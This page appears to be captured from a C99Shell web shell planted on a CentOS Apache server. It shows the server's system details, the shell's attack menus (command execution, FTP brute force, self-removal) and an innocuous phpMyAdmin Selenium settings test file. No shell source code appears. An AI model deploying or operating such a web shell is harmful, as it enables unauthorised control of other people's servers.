!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/selenium/   drwxr-xr-x
Free 9.18 GB of 93.48 GB (9.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PmaSeleniumServerSettingsTest.php (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Selenium TestCase for settings related tests
 *
 * @package    PhpMyAdmin-test
 * @subpackage Selenium
 */

require_once 'TestBase.php';

/**
 * PmaSeleniumServerSettingsTest class
 *
 * @package    PhpMyAdmin-test
 * @subpackage Selenium
 * @group      selenium
 */
class PMA_SeleniumSettingsTest extends PMA_SeleniumBase
{
    
/**
     * setUp function that can use the selenium session (called before each test)
     *
     * @return void
     */
    
public function setUpPage()
    {
        
$this->login();
        
$this->expandMore();
        
$this->waitForElement("byLinkText""Settings")->click();
        
$this->waitForElement(
            
"byXPath""//a[@class='tabactive' and contains(., 'Settings')]"
        
);
        
$this->sleep();
    }

    
/**
     * Saves config and asserts correct message.
     *
     * @return void
     */
    
private function _saveConfig()
    {
        
$this->byName("submit_save")->click();
        
$this->sleep();
        
$this->waitForElement(
            
"byXPath",
            
"//div[@class='success' and contains(., 'Configuration has been saved')]"
        
);
    }

    
/**
     * Tests whether hiding a database works or not
     *
     * @return void
     *
     * @group large
     */
    
public function testHideDatabase()
    {
        
/* FIXME: This test fails even though it is same as testHideLogo */
        
$this->markTestIncomplete('Currently broken');

        
$this->byLinkText("Features")->click();

        
$this->waitForElement("byName""Servers-1-hide_db")
            ->
value($this->database_name);
        
$this->_saveConfig();
        
$this->assertFalse(
            
$this->isElementPresent("byLinkText"$this->database_name)
        );

        
$this->waitForElement("byName""Servers-1-hide_db")->clear();
        
$this->_saveConfig();
        
$this->assertTrue(
            
$this->isElementPresent("byLinkText"$this->database_name)
        );
    }

    
/**
     * Tests whether the various settings tabs are displayed when clicked
     *
     * @return void
     *
     * @group large
     */
    
public function testSettingsTabsAreDisplayed()
    {
        
$this->byLinkText("SQL queries")->click();
        
$this->waitForElement('byClassName''tabs');

        
$this->byLinkText("SQL Query box")->click();
        
$this->assertTrue(
            
$this->byId("Sql_box")->displayed()
        );
        
$this->assertFalse(
            
$this->byId("Sql_queries")->displayed()
        );

        
$this->byCssSelector("a[href='#Sql_queries']")->click();
        
$this->assertFalse(
            
$this->byId("Sql_box")->displayed()
        );
        
$this->assertTrue(
            
$this->byId("Sql_queries")->displayed()
        );
    }

    
/**
     * Tests if hiding the logo works or not
     *
     * @return void
     *
     * @group large
     */
    
public function testHideLogo()
    {
        
$this->byLinkText("Navigation panel")->click();

        
$this->waitForElement("byName""NavigationDisplayLogo")
            ->
click();
        
$this->_saveConfig();
        
$this->assertFalse(
            
$this->isElementPresent("byId""imgpmalogo")
        );

        
$this->byCssSelector("a[href='#NavigationDisplayLogo']")->click();
        
$this->_saveConfig();
        
$this->assertTrue(
            
$this->isElementPresent("byId""imgpmalogo")
        );
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0041 ]--